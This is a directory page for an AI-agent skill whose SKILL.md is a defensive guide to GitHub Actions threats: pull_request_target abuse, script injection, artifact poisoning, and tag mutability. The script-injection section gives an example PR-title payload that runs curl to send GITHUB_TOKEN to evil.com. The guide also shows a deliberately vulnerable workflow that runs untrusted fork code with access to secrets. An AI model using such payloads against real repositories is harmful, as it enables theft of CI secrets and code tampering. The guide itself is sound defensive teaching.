Back to skills
SKILL.md
Github Actions Vulnerability Mitigation
BSecurityMitigates critical GitHub Actions attack vectors including Pwn Requests (pull_request_target abuse), script injection via untrusted context variable interpolation, artifact poisoning through workflow_run, and supply chain breaches via tag mutability. Use when: (1) handling pull_request_target, issue_comment, or workflow_run triggers, (2) processing external data from untrusted fork repositories, (3) interpolating GitHub context variables in shell scripts, (4) downloading and consuming artifac...
- 2 stars
- 0 votes
- 0 copies
- 4 views
- Added September 29, 2026
Security analysis
88/100- Uses curl or wget to download content
- Installs packages at runtime which could introduce malicious dependencies
npx -y skills add talkops-ai/opscode --skill github-actions-vulnerability-mitigation --agent claude-codeAre you the author of Github Actions Vulnerability Mitigation?
Add the live security badge to your README. It updates with every re-scan.
[](https://www.skillsdirectory.com/skills/talkops-ai-github-actions-vulnerability-mitigation)---
name: github-actions-vulnerability-mitigation
description: >
Mitigates critical GitHub Actions attack vectors including Pwn Requests
(pull_request_target abuse), script injection via untrusted context variable
interpolation, artifact poisoning through workflow_run, and supply chain
breaches via tag mutability. Use when: (1) handling pull_request_target,
issue_comment, or workflow_run triggers, (2) processing external data from
untrusted fork repositories, (3) interpolating GitHub context variables in
shell scripts, (4) downloading and consuming artifacts from preceding
unprivileged workflows, or (5) auditing existing workflows for injection
vulnerabilities. Do NOT use for basic token scoping or dependency pinning
(use github-actions-security-hardening) or caching/artifacts (use
github-actions-performance).
license: MIT
compatibility: designed for opscode
---
# GitHub Actions Vulnerability Mitigation & Threat Defense
Strict guardrails against catastrophic attack vectors — Pwn Requests, script injection, artifact poisoning, and supply chain breaches.
---
## Core Principles
1. **Assume Untrusted**: All external inputs (PR titles, branch names, issue bodies, fork code) are hostile.
2. **Privilege Isolation**: Never execute untrusted code in a privileged context.
3. **Validate Before Consume**: Never blindly execute or interpolate artifact content from unprivileged workflows.
4. **Pin Everything**: Mutable tags are attack surfaces — pin to full SHA hashes.
---
## When to Use This Skill
- Workflow triggers on sensitive events: `pull_request_target`, `issue_comment`, `workflow_run`
- Workflow must process external data from a potentially untrusted fork
- Any workflow interpolating GitHub context variables in shell scripts
---
## Threat 1: The Pwn Request (`pull_request_target`)
### The Attack
`pull_request_target` executes in the **base repository context**, granting access to:
- Repository secrets
- Write permissions to the repository
- Privileged GITHUB_TOKEN
If the workflow checks out untrusted PR code (`ref: ${{ github.event.pull_request.head.sha }}`) and executes it (e.g., `npm install`, `make`, script execution), attackers can:
- Exfiltrate all repository secrets to external servers
- Alter release artifacts
- Push malicious code to the main branch
### Absolute Rule
> **NEVER** check out and execute untrusted pull request code within a `pull_request_target` context.
```yaml
# ❌ CATASTROPHIC — executes attacker-controlled code with full secrets access
on: pull_request_target
jobs:
build:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
with:
ref: ${{ github.event.pull_request.head.sha }} # Untrusted code!
- run: npm install # Executes attacker's package.json with secrets
# ✅ SAFE — use unprivileged pull_request trigger for untrusted code
on: pull_request
jobs:
build:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@b4ffde65f46336ab88eb53be808477a3936bae11 # v4.1.1
with:
persist-credentials: false
- run: npm install # Runs in isolated, unprivileged context
```
### When `pull_request_target` IS Appropriate
Only for **metadata-only operations** that never execute fork code:
- Labelling PRs based on file paths
- Posting automated review comments
- Assigning reviewers
---
## Threat 2: Script Injection via Untrusted Input
### The Attack
GitHub context variables like `${{ github.event.pull_request.title }}` are string-interpolated **before** the shell executes. An attacker crafting a PR title like:
```
"; curl -s https://evil.com/exfil?token=$GITHUB_TOKEN; echo "
```
achieves arbitrary code execution within the runner.
### Mandatory Fix
**Never** interpolate GitHub context variables directly in `run:` blocks. Map them to environment variables first:
```yaml
# ❌ VULNERABLE — direct interpolation allows bash injection
- run: echo "Processing PR: ${{ github.event.pull_request.title }}"
# ✅ SAFE — mapped to environment variable, shell-escaped
- name: Safely log untrusted PR title
env:
PR_TITLE: ${{ github.event.pull_request.title }}
run: |
echo "Processing PR: $PR_TITLE"
```
### Dangerous Context Variables (Always Map to `env:`)
| Variable | Attack Surface |
|---|---|
| `github.event.pull_request.title` | PR title injection |
| `github.event.pull_request.body` | PR body injection |
| `github.event.issue.title` | Issue title injection |
| `github.event.issue.body` | Issue body injection |
| `github.event.comment.body` | Comment body injection |
| `github.event.head_commit.message` | Commit message injection |
| `github.head_ref` | Branch name injection |
---
## Threat 3: Artifact Poisoning via `workflow_run`
### The Attack
The `workflow_run` event enables a privileged pipeline to run after an unprivileged `pull_request` workflow completes. Communication relies on artifact passing:
1. Attacker submits malicious PR → unprivileged workflow uploads poisoned artifact
2. `workflow_run` downloads and processes the artifact in a **privileged context**
3. If the artifact content is executed or interpolated, attacker achieves code execution with secrets access
### Mandatory Defenses
```yaml
on:
workflow_run:
workflows: ["CI Build"]
types: [completed]
jobs:
process:
runs-on: ubuntu-latest
steps:
- name: Download artifact
uses: actions/download-artifact@v4
with:
name: build-output
run-id: ${{ github.event.workflow_run.id }}
# ✅ VALIDATE before consuming — treat as hostile
- name: Validate artifact integrity
run: |
# Verify expected file structure
test -f build-output/manifest.json || exit 1
# Check for unexpected executable files
find build-output -type f -executable -print -quit | grep -q . && exit 1
# Validate JSON structure
jq empty build-output/manifest.json
```
**Rules:**
- **Never** execute binary artifacts or shell scripts downloaded from `workflow_run`
- **Always** validate artifact structure and contents before consumption
- Treat all downloaded content as fundamentally hostile
---
## Threat 4: Supply Chain Breaches (Tag Mutability)
### The tj-actions/changed-files Incident
Attackers compromised a maintainer's PAT and retroactively mutated **all release tags** (v1–v45) to point to a malicious commit. The injected payload:
1. Targeted the `Runner.Worker` process
2. Dumped process memory to extract embedded CI/CD secrets
3. Base64-encoded secrets and printed them to **public workflow logs**
### Defense: Full SHA Pinning
```yaml
# ❌ VULNERABLE — tag can be retroactively changed
- uses: tj-actions/changed-files@v45
# ✅ IMMUNE — SHA hash is cryptographically immutable
- uses: tj-actions/changed-files@<verified-sha-hash> # v45.0.0
```
This is enforced by the **github-actions-security-hardening** skill's dependency pinning directive and validated by **zizmor** static analysis.
Attribution
Comments
Loading comments…
Newsletter
Get the weekly list of safe new skills, and the ones we pulled.